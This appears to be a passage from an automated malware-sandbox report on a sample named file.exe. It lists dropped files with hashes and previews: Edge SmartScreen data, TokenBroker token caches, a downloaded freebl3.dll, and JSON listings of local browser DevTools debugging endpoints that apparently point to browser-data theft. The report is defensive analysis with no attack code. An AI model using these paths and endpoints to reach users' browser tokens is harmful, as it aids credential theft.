Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.020265484668825
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVwchH5:YWLSGTt1o9LuLgfGBPAzkVj/T8lSoH5
MD5:	B577A4375AE5FC9EE4859B4F0FB67F31
SHA1:	01A43F4E05623D34BC2674B511CD158A10AA63EB
SHA-256:	2DFE052C3783AADB83DF53C45028831553956D3F8C7D3F7FE2518A8806AB20D6
SHA-512:	B669ED0A29F6E1C3BFC11137D10F8C00C32D58BA1544C193599B6460653BED5C96715F633B5E4CEF8ACA0A0AE1D2FC9C52182DA23EC6E3B8E565925F92D4EB69
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730434719589227}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d849c40f-2502-4382-8f78-5751aa28a538.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44696
Entropy (8bit):	6.094634048493956
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBQwuAhDO6vP6OS5Nm4TZ8Q8ycGoup1Xl3jVzXr4CW:z/Ps+wsI7yOEw6mTchu3VlXr4CRo1
MD5:	EFD83FEFCDF7E58BA7C0EC9638FEBFB0
SHA1:	E00E5AD7EABC712B1F29F7F255219EFF655A9624
SHA-256:	183B1FF1D99C5D13AE2156176DEC087175ECEB849C292F6AB8AF94AF0784CD39
SHA-512:	D958EB24CEE48EA02A994C40D4B1925471F299C506CCD921CD1B5370CCF741B229BC7A17CE442DB196DF97EE182A55C90456F6EB72CAB20B45D43E13D592B054
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8351382694736946
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx+xl9Il8u8OzDNwJhRPrkBmIEHXaGod1rc:mvYmOfCpc8KG/
MD5:	9C22C9BBA41D35750169A3E6C7E326F4
SHA1:	685B69D2868CC47F7808F006E0FEFD41F423B071
SHA-256:	82E1F03001641A432DAE39B0DB56B29C52B6E8E5A756CD50A99F1257965A7EE3
SHA-512:	A733DC83B4C8E6881E7A386922ABEE5D6D35D84AD6AF815156D7B4C5D2B046759FC26A34CEA382A6D9742E6B9B87F43798CB77D40981F1C38D9BBF595B08F86A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.J.h.0.0.T.I.r.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.H.b.A.b.1.p.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000629732113528
Encrypted:	false
SSDEEP:	96:rYVqpHRUy4Z9/ui22OtZLzeoze+qgD7+Bx:r+qpxr4D/arLSoz0s70x
MD5:	EA1E33FC450081D5489A1A56ABA08719
SHA1:	45190F3D6FDAD261028D48C22F6E1D1262FF55C3
SHA-256:	14F934EAC33431A3D33D36B810E80C0C6532936F3625BA52C92C6C1A73C6C4A7
SHA-512:	E5978ACC96B38335142CE5FB5233E37B722626E6D937C0AFADDEF94ABF09DC966BABF01A25E6A9EB1BA0E7DC46F28FD35199861D6E9F94CF1AA099D6A7F83224
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".a.M.s.V.t.y.o.r.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.H.b.A.b.1.p.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.895679543141313
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xmTxl9Il8umJSa8TSbOrrNy+eh3juAZT1svl7fYd/vc:aiYeSa82CrR6haAMt7fB
MD5:	DB668BA1093246E3178D1B2358AE5F24
SHA1:	A5DB554462C82B0E347A5659F41E61880C2B52A8
SHA-256:	EA8B3EBA2A81DE06C12AEBD36F7E628B0FCE7C29E762F8C33AEA9ADCD5CBD6CC
SHA-512:	75999BD700CC18694EE277E5A5BDD0998A14563F5D6AB095402BCDC3F1EDD980EC50AB984D411F8186CE6A890FA15240298FA9F11524122F62B0D230F0366387
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".3.l.M.S.6.P.t.J.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.H.b.A.b.1.p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4702
Entropy (8bit):	5.459105890585077
Encrypted:	false
SSDEEP:	96:6NnQSHQ4NnQEbQ0NnQk9Q9NnQR8IdgEQuNnQIQgNnQhJDQ4NnQRawQBNnQNg8x37:6NHNNNYNwjNbNofNr1NGgVaNAWL
MD5:	9B5B7501372891BDC23FD0E675B503EB
SHA1:	ACD12C04A02D4F02A8A8E33422B0C0B3C0CC0EA8
SHA-256:	CA7291F4EE94A5936D906B6BB14FB586E2AA7C39685C994FB42DC0921E2FFAF1
SHA-512:	33104FF631988C319B6B3BB0AB37F24E1EB9B83BAC0CD98396AE2C27A1F53D011791A288E9392C5DDAEA70BED32B2CE5F33614544AA150DA6281FCB8450F44B4
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E2EB176703D9F95F8D1E8E98814C8A1F",.. "id": "E2EB176703D9F95F8D1E8E98814C8A1F",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E2EB176703D9F95F8D1E8E98814C8A1F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8AE6C2AAF88345AAAB2178DA9956BD2A",.. "id": "8AE6C2AAF88345AAAB2178DA9956BD2A",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8AE6C2AAF88345AAAB2178DA9956BD2A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.369989375875035
Encrypted:	false
SSDEEP:	48:SfNaoQ5TEQPfNaoQxchmhEQxchXfNaoQVQs/fNaoQK0UrU0U8QI:6NnQ5TEQnNnQxcQ+QxctNnQVQsXNnQKT
MD5:	15C55D8194135799816505B1C1D89333
SHA1:	AC3E93589169CFBC4A0CC25D9E096A404C85D867
SHA-256:	4FD855E333D34328A8DAB91DFD4AADDF1B253E875F40EBA3B73F0A95A06DF828
SHA-512:	E6428CEA5ECFD5BC778FAA20877BD9FC68B9E0DBA71DAB45CDF5E6FEB495511E65545753D52968ECB26FD4E9709E0D67D67DEB635DACF1F140A7170B3013C29A
Malicious:	false
